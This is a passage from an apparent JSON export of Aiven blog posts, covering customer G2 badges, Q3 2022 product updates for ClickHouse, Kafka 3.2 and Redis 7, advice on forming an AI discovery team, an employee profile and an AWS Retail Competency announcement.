Kafka](https://aiven.io/blog/what-is-apache-kafka \"Blog post: An introduction to Apache Kafka\") to refresh your memory of what this Kafka thing even is.\n\n## Next steps\nYour next step could be to check out [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\") and or essential [Apache Kafka® terms](https://aiven.io/docs/products/kafka/concepts).\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-10T00:00:00.000Z","seo":{"metaDescription":"Is Apache Kafka® a database? Can I throw out my Postgres and use Kafka instead? Is Kafka the new Swiss Army Knife of data? Find out what the debate is about.","metaImage":{"alt":"","asset":{"_ref":"image-b6e55ab5a11856ecc65674d49507c8ee5daf8064-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® and the great database debate"},"slug":{"_type":"slug","current":"/blog/apache-kafka-and-the-great-database-debate"},"subtitle":"Is Apache Kafka® a database? Can I throw out my Postgres and use Kafka instead? Is Kafka the new Swiss Army Knife of data? Find out what the debate is about.","title":"Apache Kafka® and the great database debate"}
{"__i18n_lang":"en","_createdAt":"2023-09-29T11:20:20Z","_id":"cd17f23b-0063-4154-bf09-fa4a16626d4a","_rev":"sEwq5NBiPauorOxrhi8MlQ","_type":"post","_updatedAt":"2024-11-19T06:02:49Z","authors":[{"_key":"69a1196c45ee","_ref":"3d759db2-54e5-4c4a-94ec-f52be97578dc","_type":"reference"}],"body":"In today’s fast-paced and dynamic business environment, agility and innovation are essential to staying ahead. At Aiven, we understand the challenges faced by businesses when managing open source data technologies. Here, we explore how we take that burden away so customers can focus on what they do best — innovating on behalf of their customers and delivering exceptional products.\n\n![Aiven Leader G2 2023 Fall](//cdn.sanity.io/images/sczeoy4w/production/9ff58ce5d45f281d2fa524106e67314af998eed2-1200x628.png)\n\n### Operational excellence delivers reassurance\n\nIn my role as Chief Marketing Officer, I’m fortunate that I get to talk to lots of customers. It’s clear from those conversations that one of the things they value most about Aiven is the peace of mind we give them. They trust us to take on the management of their open source data technologies, in all its complexity, which enables them to focus on the creation of exceptional applications that meet their own customers’ needs. They also recognise that Aiven’s operational excellence and industry-leading technical expertise translates into unparalleled reliability, performance and security for their data infrastructure — all while saving them time and money.\n\nThat’s what our customers tell me — and it’s what they are telling each other. Earlier this month, positive customer feedback helped us earn a batch of badges in the Fall report from G2 – the peer-to-peer software and technology review website — including the Enterprise High Performer badge. This highlights the growing number of enterprise organizations with 1,000+ employees, such as [Priceline](https://aiven.io/case-studies/best-deal-for-priceline) and [Decathlon](https://aiven.io/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native), working with Aiven to harness the power of open source technologies. \n\n\u003e “Reliable and Responsive Kafka Hosting Service! …. They have been a reliable and responsive partner for our organization's event-driven architecture …. Their responsiveness to customer support requests is remarkable .... With their deep expertise in Kafka, it is reassuring to have their knowledgeable professionals available to assist us whenever needed.” Carlos A, G2 User\n\n### Ownership and control for increased agility\n\nHaving the flexibility to adapt their approach to IT is always important to business, but particularly during times of economic instability. We know that our customers appreciate the choice and control we offer because it gives their business greater agility. They can choose their preferred cloud platform and their preferred region for running Aiven services (from all the major public platforms and 100+ regions we offer). They can scale compute and storage, up and down, with a simple push of a button. And they can control everything from one platform, which gives them standardized visualization, governance and management for all their data infrastructure services.\n\n\u003e “Everything about Aiven has been great to power our company's analytics and has truly been a set-it-and-forget-it piece of our infrastructure. Aiven has been extremely responsive with their support and has been great at working with us to fit to our custom needs …. It is flexible with the cloud providers allowed and is very cost effective,” Kevin X, G2 User\n\n### Ease of use unlocks innovation\n\nOur goal is to help organizations solve problems more easily, foster innovation and create exceptional applications, and to help organizations achieve these goals by unlocking the potential of powerful open-source technologies. The Aiven platform is equipped with a comprehensive toolkit that customers can depend upon for seamless data streaming, storage and analysis, and provides a fully featured, fully managed data infrastructure that can be set up in under 10 minutes.\n\nOur platform’s exceptional user-friendliness is highly valued by our customers, as it provides them with the freedom to drive innovation. That’s why we ranked first out of six products in G2’s implementation index, receiving both the Most Implementable and Easiest Setup badges. \n\n\u003e “Aiven makes light work of an otherwise rather complex solution. I've had to run Kafka clusters in the past and had to dedicate specialist teams and resources just to keep the lights on. In contrast, I set up my cluster in Aiven when I first joined and I haven't had to touch it – it just works! Saves me countless hours and resources!” Brian W, G2 User\n\n### Building better data infrastructure together\n\nAs the leading open source data platform, as chosen by businesses worldwide, we help customers of all sizes and industries to confidently create, utilize and manage data applications. We’re committed to continuously improving our offerings but recognize we need customer input to align our innovation with market expectations. That’s why we encourage users to provide feedback and insights. \n\nIf you would like to contribute to that mission, please visit Aiven Ideas to view our public roadmap and give feedback on features (https://ideas.aiven.io). Alternatively, you can provide feedback via the peer-to-peer review website G2. (https://www.g2.com/sellers/aiven)\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n","categories":[{"_key":"944f3dea3e06","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5f088243c50d","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"468afa7b5eb6","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"previewImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}}},"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-29T11:10:00.000Z","related":[{"_key":"40533a24eb25","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"8825ecaf01f0","_ref":"06af38ab-add6-4fb5-b005-2c4af2118f25","_type":"reference"},{"_key":"d6e6bf53d61e","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven empowers businesses with managed open source data tech, letting them focus on innovation. Learn how we lighten the load for our clients. Get informed!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_type":"reference"}},"metaTitle":"Customers Affirm Value of Aiven Platform through G2 badges "},"slug":{"_type":"slug","current":"/blog/customers-affirm-value-of-aiven-platform-through-g2-badges"},"subtitle":"Aiven Named Leader in Event Stream Processing","title":"Customers Affirm Value of Aiven Platform through G2 badges "}
{"__i18n_lang":"en","_createdAt":"2022-10-10T10:26:30Z","_id":"2cbef13d-ec89-484f-8d17-7195c790286d","_rev":"T130WEs22RB6SoEkOBP2WW","_type":"post","_updatedAt":"2024-11-19T06:11:27Z","authors":[{"_key":"d7872d95538f","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"## ClickHouse beta\nMid-September saw the [launch of Aiven for ClickHouse](https://aiven.io/blog/aiven-for-clickhouse-beta-now-available) in its beta incarnation. \n\nClickHouse® is a fast cloud data warehouse that’s fully open source. It allows you to generate analytical data reports in real time using advanced SQL queries. ClickHouse is built to process hundreds of millions of rows and tens of gigabytes of data per server per second.\n\nAiven for ClickHouse is a fully managed service that makes it a breeze to deploy a new production-grade, high-performance data warehouse and enjoy the advanced capabilities familiar from other Aiven services - effortless scaling, easy database forking and cloud/region migration without downtime. \n\nAiven for ClickHouse also has built-in integrations for our other products, such as Aiven for Apache Kafka®, Aiven for PostgreSQL®, and Aiven for Grafana®. This makes it easy for you to create analytics pipelines using both streaming data sources and the data in your operational databases, and to visualize the analytics results.\n\nTo find out more about what ClickHouse is and what you can use it for, head on over to our [What is ClickHouse](https://aiven.io/blog/what-is-clickhouse) article!\n\n## Apache Kafka 3.2\nWe added support for Apache Kafka 3.2 to the latest version of Aiven for Apache Kafka, focusing on implementing three key improvements:\n\n- Self-managed metadata based on KRaft\n- More robust disaster recovery\n- Easy listing of all available connectors\n\n### Self-managed metadata based on KRaft\nWith the implementation of [KIP-801](https://cwiki.apache.org/confluence/display/KAFKA/KIP-801%3A+Implement+an+Authorizer+that+stores+metadata+in+__cluster_metadata), Apache Kafka 3.2 is moving away from needing Apache Zookeeper instances when Kafka users want to use AclAuthorize. Aiven is following this development with eager interest!\n\n(Aiven for Apache Kafka already leverages our own [fully open-source authoriser](https://github.com/aiven/auth-for-apache-kafka) for Kafka ACLs which is already KRaft-ready.)\n\n### More robust disaster recovery\nThe addition of [KIP-704](https://cwiki.apache.org/confluence/display/KAFKA/KIP-704%3A+Send+a+hint+to+the+partition+leader+to+recover+the+partition) to Apache Kafka 3.2 minimizes potential data losses in data recovery. This applies to scenarios where the controller has allowed the use of the unclean leader election strategy, and the user has elected a replica in Apache Kafka that was not a part of the in-sync replica setup.\n\n### Easy listing of available connectors\nThe last notable addition to Aiven’s Apache Kafka service from our upgrade to Kafka 3.2 makes listing your available connectors in Apache Kafka Connect a lot easier. Specifically, with the implementation of [KIP-769](https://cwiki.apache.org/confluence/display/KAFKA/KIP-769%3A+Connect+APIs+to+list+all+connector+plugins+and+retrieve+their+configuration+definitions), developers no longer need to dig into the specifics of the Apache Kafka Connect runtime: Connector plugins are now discoverable via the REST API, and their configuration definitions can be easily retrieved. This makes building streaming data pipelines significantly faster.\n\n## How to get started with Aiven for Apache Kafka 3.2\nIf you haven’t upgraded to the latest service version, you can easily do so with a few clicks in the Aiven Console.\n\n\n::banner[Still looking for a managed data platform? Sign up for Aiven for Apache Kafka® and start streaming!]{ctaText=\"Click to start your free trial\" ctaLink=\"https://aiven.io\" title=\"Aiven for Apache Kafka® at your fingertips\"}\n\nTo find out more about upgrade paths and get answers to any questions, check out [the release notes for the project itself](https://archive.apache.org/dist/kafka/2.3.0/RELEASE_NOTES.html).\n\n## Redis 7\nAt the start of September, the [Aiven for Caching service](https://aiven.io/caching) upgraded to Redis 7.  The most notable new features in Redis 7.0 include:\n\n- Enhanced scripting with Redis Functions\n- Improved access control management with ACLv2\n- The addition of almost 50 new commands \n\nAt the same time, a lot of effort has gone into making Redis even more performant and stable than before.\n\n### Enhanced scripting with Redis Functions\n\nRedis Functions brings a new solution for scripting in Redis, allowing users to load custom function libraries to Redis. Unlike earlier ephemeral scripts using the EVAL command, which left management of the scripts to the applications, Redis now manages functions as an integral part of the database and ensures their availability through data persistence and replication.\n\n### Improved access control management with ACLv2\n\nACLv2 adds two important new capabilities for access control lists, while maintaining compatibility with earlier versions:\nSupport for multiple sets of ACL rules - called selectors - that are evaluated independently.\nThe ability to set access type permissions to specific keys. This way you can exclusively limit the user to read-only, write-only, or read-write operations to a subset of the keys.\n\nNote that ACLv2 is not yet available in Aiven for Caching, but we are working on it and expect to release the functionality soon.\n\n### New commands\n\nRedis version 7.0 adds almost 50 new commands and options to support the evolution of Redis, and to extend its existing capabilities. Also support for new data types have been added. For more information, take a look at their [release notes](https://raw.githubusercontent.com/redis/redis/7.0/00-RELEASENOTES). \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay current with our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStill looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"27f157404ef3","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"f30e07a3d316","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"89293017950a","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"6f0413467822","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-c4eb1559793d39308add9717033e5f19aabc9c1b-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-31T12:07:00.000Z","seo":{"_type":"metaData","metaDescription":"In Q3/2022, Aiven has been very busy with new releases across several services. Stay up to date and catch up on our recent updates!\n \n \n","metaTitle":"Aiven's product updates in Q3/2022 – Stay informed!"},"slug":{"_type":"slug","current":"/blog/product-updates-in-q3-2022"},"subtitle":"The team at Aiven has been busy last quarter with new releases across several of our services. Starting from the announcement of our ClickHouse Beta being available, we have lots of good stuff here. Read on for details about what’s been going on last quarter!","title":"Product updates in Q3/2022"}
{"__i18n_lang":"en","_createdAt":"2024-05-15T07:54:04Z","_id":"4a1632e3-6d7d-4a13-968b-c391a7574f99","_rev":"sEwq5NBiPauorOxrhiNiyr","_type":"post","_updatedAt":"2024-11-19T07:47:37Z","authors":[{"_key":"cd13c5fa772b","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"Artificial Intelligence (AI) is advancing rapidly. Much quicker than businesses can accommodate, which is leaving enterprises reeling. They’re struggling to keep up and take advantage because they’re an oil tanker in a speed boat race. But neglecting AI isn’t an option either. AI adoption is the future, which is why enterprises need to find a way to make it work in their organizations where existing structures and established ways of working have not been designed to act and react with the agility required. \n\n## A vision for value\n\nThe figures relating to the speed of AI development tell a staggering story when you dig into them.\n\nAccording to [GrandViewResearch](https://www.grandviewresearch.com/industry-analysis/artificial-intelligence-ai-market), the global AI market is worth almost $197 billion. That's an increase of around $60 billion since 2022. Indeed, the [global AI market size](https://www.hostinger.co.uk/tutorials/ai-statistics#:~:text=The%20Global%20AI%20Market%20Size,growing%20importance%20across%20all%20industries) is expected to grow 37% every year until 2030 with the [potential to contribute](https://www.pwc.com/gx/en/issues/data-and-analytics/publications/artificial-intelligence-study.html#:~:text=AI%20could%20contribute%20up%20to,come%20from%20consumption%2Dside%20effects) up to $15.7 trillion to the global economy by the end of the decade - more than the current output of China and India combined. Of this, $6.6 trillion is likely to come from increased productivity and just over $9 trillion from consumption-side effects.\n\nDriven by fear of losing out on this opportunity, businesses are tempted to ‘dive in’, with many speeding up time to market on AI initiatives that tend to focus on two distinct areas. One is to improve internal efficiency and the other to ascertain whether and where in their own products they can build or integrate AI capabilities. This to add value to their customers and differentiate from the competition. But hitting the ‘AI button’ and hoping for results is not a strategy. Businesses can’t successfully adopt AI without a clear vision for value and if decades of technology adoption has taught us anything, it’s that you need a plan. \n\n## The AI Tactical Discovery team\n\nIt’s why we believe that creating an AI Tactical Discovery team is the answer within an enterprise. A group of curated and trusted, domain technical experts for your organization. This team has the objective of using AI to solve an internally-facing process or challenges (tactical), and/or contribute to the value that an enterprise delivers to its customers (strategic). In doing so, the company will learn about AI, in a space that is close to its current value proposition and utilizes its unique datasets and domain expertise. This increases the likelihood of the learning being useful to the longer-term product strategy. \n\nThe first, and perhaps biggest, challenge for this team will be identifying the use-case and deciding whether this is something that should be built in-house or be bought. The former represents exactly the opportunity this team should be seeking in order to gain organizational knowledge while the latter involves leveraging capabilities in partner products. In reality, the likely outcome is that this team will chain together services already developed to solve a problem rather than build anything from scratch but, even so, this still delivers on acquisition of knowledge of the AI ecosystem. \n\nEmerging knowledge and expertise within the partner ecosystem around GenAI means there are now increasing options where a company scales if building an internal AI Tactical Discovery team is not feasible. These partners can help get a proof of concept (POC) up and running that can be used by your teams to expose them to knowledge of the technology. \n\nOf course, the prerequisite of creating the AI Tactical Discovery team is picking the right people. It may surprise many to hear that some of your best engineers may be skeptical about AI and have little or low interest in joining an effort around the simulation of human intelligence processes by machines. In this scenario, it is important to lean on your team’s interest and pick the engineers who are actually interested in this space. If you are a SaaS company, or have a SaaS arm, ensure you have an SRE, Cloud Architect, Data Scientist and someone from SecOps involved. These are the folks likely to keep the enterprise risk front and center as they work.\n\nYou’ll also need a mix of senior and junior folks in the team. What you want to avoid is a senior long-term architect, slowing or blocking the innovation, because “that’s not how we do it here”. This is an opportunity for the organization to gain new insights and skills and the hypothesis you are trying to prove through the effort of this AI Tactical Discovery team, is what is possible, not starting out with ideas about why things aren’t possible. \n\n## Nine steps to Tactical Discovery team success\n\nOnce your team is compiled, the next stage is how best it can go about its business, which can be broken down into nine steps: \n\n**1). Identify a use-case candidate** - Once identified, the Tactical Discovery team should develop a LLM or AI powered solution to that problem. The goal is to learn about AI and how models can be used in innovative ways with the assumption that usage and training will become increasingly cost effective over the next few years. \n\n**2). Stick to the task at hand** - While the company should be spending time in marketing to tune and alter the company vision to highlight any/all existing AI supporting capabilities, the Tactical Discovery team should not include a marketing resource. The goal is organizational learning not specifically product discovery. \n\n**3). Resist the product manager (PM) temptation** - At this stage, it’s wise not to involve a PM. This team is fuelled by the start-up, innovation culture where small failures are celebrated as opportunities to learn something new, iterate, and improve. They do not need to be burdened by the processes that come with a PM. \n**\n**4). Keep ‘em separated** - The AI Tactical Discovery team should be explicitly separate from any work in your SecOps team, who should be evaluating any and all AI capabilities arising in the tools the company is already using. However, the project targeting should be aware of the pipeline of AI capabilities being looked at so they don’t overlap. They should however ensure they are operating within the guidance and guardrails of SecOps to mitigate any potential data security issues.**\n\n**5). Embrace agility \u0026 expect change** - Change and innovation happen through execution. This is not to say that strategies and roadmaps aren't important. Every organization needs a North Star for AI adoption. However, expect to pivot and change as the market evolves. Aim for multiple, connected wins as you make the journey towards the North Star, rather than one grand reveal.\n\n**6). But put some parameters around** - Set a time limit of no more than three months to completion to encourage outcomes and set a benchmark for measurement against objectives.\n\n**7). Cut any admin burden** - The Tactical Discovery team needs to be empowered to spend what they need and get access to new tech not currently at the company. Reducing the administrative burden as they progress so the rest of the business can stay informed and aligned is a good idea, depending on your scale, resources and culture. \n\n**8). Get clarity to avoid the anti-patterns of AI value** - Your goal is to understand how this tech can work so that when/if you go to market with an AI powered capability, it is fit-for-purpose. You want to avoid the anti-pattern of just sticking a ChatGPT powered chatbot on or around your product and claiming to be AI powered. This false value will wear thin as the hype fades. Find real value for AI in your company and gain organizational knowledge, skills and muscle memory with AI close to where you currently add value.\n\n**9). Apply caution** - GenAI is early in its adoption cycle but already the path is littered with the scare stories of how it can go wrong. Keep your company and user privacy, regulatory and compliance needs front and center as you learn. \n\n## A radical path on your journey of discovery\n\nThe impact of taking such a radical path may be the only way for enterprises to keep pace with AI. This effort won’t be the silver bullet for your organization to “get AI”, but it’s a shot you have to take. The AI tools and capabilities available now are likely not to be the ones that you’ll use 18 months from now. \n\nOutcomes will come to the fore, and you need your organization to have some knowledge about what outcomes can and can’t be achieved with current AI, and continue to flex that learning muscle at Tactical Discovery scale, as AI tech advances. And it will.\n\n","categories":[{"_key":"3812a5a41c4f","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Blue background with white writing reading: \"Why every business needs an AI Tactical Discovery team\"","asset":{"_ref":"image-87dd33b055fb077bfa43abc8b4d913eba1671e19-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-15T09:00:00.000Z","related":[{"_key":"e4cf36ffc9c5","_ref":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_type":"reference"},{"_key":"7c256e44e28a","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"},{"_key":"bde2467f1526","_ref":"3272b585-3fa5-45fd-b560-c578e6ccbb55","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Organizations must embrace AI to stay agile and competitive. Learn how to efficiently integrate it into your existing structure. Get informed with Aiven!","metaTitle":"Why every business needs an AI Tactical Discovery team"},"slug":{"_type":"slug","current":"/blog/why-every-business-needs-an-ai-tactical-discovery-team"},"subtitle":"AI adoption is the future, which is why enterprises need to find a way to make it work in their organizations where existing structures and established ways of working have not been designed to act and react with the agility required.","title":"Why every business needs an AI Tactical Discovery team"}
{"__i18n_lang":"en","_createdAt":"2023-08-31T12:38:29Z","_id":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_rev":"h4ancfFTuSnQNBSq3Ihv6a","_type":"post","_updatedAt":"2024-11-19T07:58:14Z","authors":[{"_key":"f6695b5db797","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"So, how did Shu get to where she is today? To what – or who – does she owe her success? And how did she become such an awarded crustacean in our Crab ocean?\n\n### Growing up and developing a strong shell\n\nShu credits her parents and family with being her biggest influence in life. They showered her with unwavering love and taught her the value of always being kind. \n\nOne memory sticks out for her in particular. When she was 15 she scored badly in an exam and was very upset about it. But rather than a scolding, she instead received a lot of encouragement. As Shu points out, there can be a certain perception about over-pushy Asian ‘Tiger’ parents, but she always had a warm, homely family environment, and it’s helped make her who she is today.\n\nOne major trait that she credits her parents with instilling in her is the importance of being content  with what we have and taking life head on in a positive way. As they used to tell her: “The sun will rise and we’ll try again.”\n\nIt meant that Shu was always willing to give things a go when she was growing up – and she has certainly maintained that can-do approach. \nAbandoning an unhealthy lifestyle many years ago, that gritty attitude now also covers keeping fit. She achieves this via regular jogging and taking long walks, as well as strength training in the gym. As she puts it, she’s something of a workout-aholic, but she credits this with keeping her mentally as well as physically in trim.\n\n### Aiven – love at first sight \n\nShu joined Aiven on 14 February, 2022 – Valentine’s Day - a moment when we celebrate love and friendships. Shu saw the open position, found out more about the role and never looked back. As she comments, “What can I say…? I was really attracted to the orange crab!”\nIn particular, Shu really wanted to experience being entrepreneurial in a hyper-growth startup. And as she tells us now, around 18 months on, it has proved very rewarding.\n\n### Living life sideways\n\nFor Shu, every morning starts with a cup of coffee (we’re thinking maybe a crab-uccino). But after that, every day is different and has its own challenges, depending on the schedule of planned marketing activities. \nThe APAC Regional Marketing team is geared towards demand and pipeline generation through integrated field campaigns that drive sales results. That includes field events, digital campaigns and brand awareness activities, often working closely with regional sales teams and local partners.\nSo on any one day, Shu could be helping to set up a booth, looking at intent data, designing email nurtures, or doing strategic planning. There’s a lot to fit in, but there’s also plenty of room for creativity.\n\n### Multiple award winner\n\nAt Aiven, we like to acknowledge those who perform exceptionally. This year Shu has been recognised not once, but twice: at the January quarterly business review (QBR) meeting and again during [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up) in Portugal a few months ago.\n\nAt each QBR we give an award to those who most embody our key values of Openness, Courage and Ownership, and Shu won the award for Openness. She has created an open and safe space for others to contribute ideas and learn from one another, which has helped to build trust and foster collaboration amongst members of the team.\n\n[Our Crab Awards](https://www.linkedin.com/posts/aiven_crab-awards-2023-activity-7061615995932565504-2O4N/?utm_source=share\u0026utm_medium=member_desktop) have been running since 2021. Each award is named after a crab feature and is presented to two Aiveners who have particularly embodied that crab characteristic:\n\n- The Amphibian, for those who can adapt to multiple environments and challenges.\n- The Exoskeleton, for those who prove the toughness of their shell in overcoming challenges.\n- The Claws, for those who can be called in to make tough decisions when it comes to the pinch and cut through any obstacles.\n- The Decapod, for the Aivener who is involved in everything and can use their figurative ten legs to successfully keep multiple plates spinning.\n- The Antennae, for the Aivener who displays high emotional intelligence and nurtures wellbeing and team spirit in others to build a great work environment.\n\nAiveners are nominated and voted on by our executive team. The winners receive a coveted crab pin to wear, along with a complementary dinner for two. This year, Shu won the Antennae award. She demonstrated multiple times her profound emotional intelligence while actively contributing to creating a trustful workplace culture. \n\n### Sensitive Antennae lead to the right environment\n\nShu was only the fifth person to join the new Singapore office. She worked hard to welcome a new Cast member every month, taking on an informal role as office manager and connecting to other global teams – that’s what we call great Antennae!\n\nOf all our values, Shu says that her favourite value is Openness. She loves the fact that Aiven allows all our Cast of Crabs to have the courage to try different things, and to take the ownership of a project from top to bottom. For her, Aiven is a place where you can share ideas and thoughts openly, with a warm culture of people always ready to help. \n\nOur thanks go to Shu for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n","categories":[{"_key":"9da0349eacda","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"4e5137fffcec","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"6b34db3ff925","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-36ac34e992e6bdbadb839facf0879ba1cb3c9787-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-01T07:10:31.198Z","seo":{"_type":"metaData","metaDescription":"Meet Shu Toh, Senior Field Marketing Manager, who joined Aiven on a Valentine’s Day and has greatly impacted our APAC team. Find out more!"},"slug":{"_type":"slug","current":"/blog/meet-the-cast-shu-toh-our-valentines-day-crab"},"subtitle":"Shu Toh joined us as Senior Field Marketing Manager on February 14th, 2022 – Valentine’s Day. Ever since, we’ve had a big place in our heart for her and all that she does for the APAC Regional Marketing Team. \n","title":"Meet the Cast: Shu Toh – our Valentine’s Day Crab"}
{"__i18n_lang":"en","_createdAt":"2024-10-22T13:41:26Z","_id":"40facdef-a3ae-4191-a9fa-82e8279a3ff0","_rev":"sEwq5NBiPauorOxrhiP9Kh","_type":"post","_updatedAt":"2024-11-19T07:59:15Z","authors":[{"_key":"011173e6a46f","_ref":"7d07d38b-059b-4829-bd63-cb448c846ce6","_type":"reference"}],"body":"We’re excited to announce that Aiven has achieved the prestigious AWS Retail Competency, in the category of Advanced Data Insights.  Achieving the AWS Retail Competency recognizes Aiven’s expertise in providing customers with software solutions that empower retailers to gain valuable data insights to drive business success.\n\n## Enhancing Retail with Real-Time Data Analytics on AWS\nBy using the Aiven Data and AI Platform on AWS, retailers gain advanced, real-time data analytics capabilities without the burden of managing the underlying infrastructure. The result? Actionable insights that translate into better shopping experiences, more satisfied customers and more revenue.\n\nAchieving the AWS Retail Competency differentiates Aiven as an AWS Partner Network (APN) member with demonstrated technical proficiency and proven customer success in running cloud solutions on AWS for the retail industry. This program showcases retail technology software AWS Partners who have domain knowledge and are providing cloud services powered by AWS. To receive the AWS Retail Technology Competency designation, AWS Partners must undergo a rigorous technical validation by AWS solution architects and have verified customer references. \n\n## Aiven and AWS: Powering Retail Innovation\n\n“We’re thrilled Aiven has achieved the AWS Retail Competency as it underscores our commitment to both AWS and to helping retail organizations unlock the full potential of their data. From personalizing customer experiences and supercharging websites through to AI-powered chatbots and fraud prevention, our real-time data and AI platform on AWS enables retailers to fast-track innovation and delight their customers. We are proud to be an AWS Partner Network (APN) member, and achieving this competency is another important milestone in our strategic relationship with AWS,” said Elena Zykova, Vice President, Global Partnerships, Aiven.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/15e7a17281e03f08c994efd32c50815aad77bf31-800x200.png)\n\n## idealo’s Real-Time Data Solution with Aiven on AWS\n\n[idealo](https://aiven.io/case-studies/aiven-supports-idealo), an online price comparison service that operates in six European countries, is just one example of a business benefiting from the combination of Aiven and AWS services. Its website has over 72 million users a month who compare prices for 500 million products offered from 50,000 merchants.\n\n\"idealo has a super-fast, reliable and secure infrastructure that handles and analyzes the massive amounts of data generated by our price comparison service. Aiven for Apache Kafka® on AWS is instrumental in getting the best prices to our customers in near real-time. Aiven has removed the complexities of managing the underlying data infrastructure from our team and we also get to benefit from Aiven’s deep AWS expertise. \"The Aiven and AWS partnership is a win-win for us,” said Wanis Fahmy, Senior Cloud Engineer, idealo.\n\n## Join Us for AWS Immersion Day: Retail Transformation with AI and Real-Time Data\n\nAre you a retailer keen to know more about extracting value from your data? Do you want to see our AWS Retail Competency skills in action? Then join Aiven, AWS and your peers at the ‘AWS Immersion Day: Transforming Retail with Real-Time Data Pipelines and AI Agents.’ The half-day workshop will take place at the AWS office in Berlin, November 20, 2024. \n\nIn addition to getting hands-on experience with Aiven and AWS services, you’ll learn how leading retailers are using event-streaming architectures and real-time data pipelines to transform their ecommerce, stores, supply chain, merchandising, customer support and more.\n\n* Discover Aiven on the [AWS 